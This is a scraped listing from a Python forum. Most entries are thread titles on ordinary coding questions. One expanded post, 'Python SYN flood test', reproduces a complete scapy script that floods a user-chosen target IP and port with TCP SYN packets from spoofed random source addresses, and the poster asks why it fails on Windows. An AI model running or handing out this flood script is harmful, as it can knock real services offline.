Click here to Skip to main content
15,887,304 members
Home / Discussions / Python
   

Python

 
AnswerRe: Partial Functions? Pin
code_slinger5-May-23 6:41
code_slinger5-May-23 6:41 
AnswerRe: Partial Functions? Pin
Kenneth Haugland11-May-23 0:41
mvaKenneth Haugland11-May-23 0:41 
GeneralRe: Partial Functions? Pin
glennPattonWork311-May-23 7:49
professionalglennPattonWork311-May-23 7:49 
QuestionPython Pin
RuthNathan124-Apr-23 22:05
professionalRuthNathan124-Apr-23 22:05 
QuestionRead the file data and devide Pin
Music Vines16-Mar-23 23:24
Music Vines16-Mar-23 23:24 
AnswerRe: Read the file data and devide Pin
Dave Kreskowiak17-Mar-23 2:25
mveDave Kreskowiak17-Mar-23 2:25 
AnswerRe: Read the file data and devide Pin
Richard MacCutchan17-Mar-23 2:44
mveRichard MacCutchan17-Mar-23 2:44 
QuestionPython SYN flood test Pin
Alex Wright 20224-Mar-23 6:10
Alex Wright 20224-Mar-23 6:10 
I tried to use the following code from github and test SYN flood:

from scapy.all import *
import os
import sys
import random

def randomIP():
	ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
	return ip

def randInt():
	x = random.randint(1000,9000)
	return x	

def SYN_Flood(dstIP,dstPort,counter):
	total = 0
	print("Packets are sending ...")
	for x in range (0,counter):
		s_port = randInt()
		s_eq = randInt()
		w_indow = randInt()

		IP_Packet = IP ()
		IP_Packet.src = randomIP()
		IP_Packet.dst = dstIP

		TCP_Packet = TCP ()	
		TCP_Packet.sport = s_port
		TCP_Packet.dport = dstPort
		TCP_Packet.flags = "S"
		TCP_Packet.seq = s_eq
		TCP_Packet.window = w_indow

		send(IP_Packet/TCP_Packet, verbose=0)
		total+=1
	sys.stdout.write("\nTotal packets sent: %i\n" % total)


def info():
	os.system("clear")

	dstIP = raw_input ("\nTarget IP : ")
	dstPort = input ("Target Port : ")
	
	return dstIP,int(dstPort)
	

def main():
	dstIP,dstPort = info()
	counter = input ("How many packets do you want to send : ")
	SYN_Flood(dstIP,dstPort,int(counter))

main()


when I run the code, the following error is shown:

Quote:
WARNING: No libpcap provider available ! pcap won't be used
'clear' is not recognized as an internal or external command,
operable program or batch file.
Traceback (most recent call last):
File "C:\Users\Admin\Desktop\Python Project\test.py", line 52, in <module>
main()
File "C:\Users\Admin\Desktop\Python Project\test.py", line 48, in main
dstIP,dstPort = info()
^^^^^^
File "C:\Users\Admin\Desktop\Python Project\test.py", line 41, in info
dstIP = raw_input ("\nTarget IP : ")
^^^^^^^^^
NameError: name 'raw_input' is not defined


I'm running this code on windows 11. Why is this error shown?
AnswerRe: Python SYN flood test Pin
Richard MacCutchan4-Mar-23 6:21
mveRichard MacCutchan4-Mar-23 6:21 
Questionpymodbus make a connection with server every each command? Pin
Super Y1-Mar-23 15:05
Super Y1-Mar-23 15:05 
AnswerRe: pymodbus make a connection with server every each command? Pin
Richard MacCutchan1-Mar-23 22:33
mveRichard MacCutchan1-Mar-23 22:33 
QuestionPython - Pygame - Fill screen with triangles without gaps Pin
Tairros8-Feb-23 10:34
Tairros8-Feb-23 10:34 
AnswerRe: Python - Pygame - Fill screen with triangles without gaps Pin
Peter_in_27808-Feb-23 14:07
professionalPeter_in_27808-Feb-23 14:07 
GeneralRe: Python - Pygame - Fill screen with triangles without gaps Pin
Tairros9-Feb-23 4:41
Tairros9-Feb-23 4:41 
GeneralRe: Python - Pygame - Fill screen with triangles without gaps Pin
Peter_in_27809-Feb-23 13:25
professionalPeter_in_27809-Feb-23 13:25 
QuestionPython learning Pin
Nahid.hb25-Dec-22 1:01
Nahid.hb25-Dec-22 1:01 
AnswerRe: Python learning Pin
OriginalGriff25-Dec-22 1:06
mveOriginalGriff25-Dec-22 1:06 
AnswerRe: Python learning Pin
Kevin McFarlane10-Jan-23 0:05
Kevin McFarlane10-Jan-23 0:05 
QuestionTennis racket Pin
Member 1586879618-Dec-22 10:04
Member 1586879618-Dec-22 10:04 
QuestionRe: Tennis racket Pin
Richard MacCutchan18-Dec-22 21:46
mveRichard MacCutchan18-Dec-22 21:46 
QuestionMessage Closed Pin
6-Dec-22 21:28
Tangent Technologies6-Dec-22 21:28 
AnswerRe: Variables Pin
trønderen6-Dec-22 22:29
trønderen6-Dec-22 22:29 
QuestionDSA DOUBT Pin
Krishang Gupta1-Dec-22 11:03
Krishang Gupta1-Dec-22 11:03 
AnswerRe: DSA DOUBT Pin
Richard Deeming1-Dec-22 22:08
mveRichard Deeming1-Dec-22 22:08 
QuestionHow to iterate within a list in python? Pin
ryandaniel1724-Nov-22 18:48
ryandaniel1724-Nov-22 18:48 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.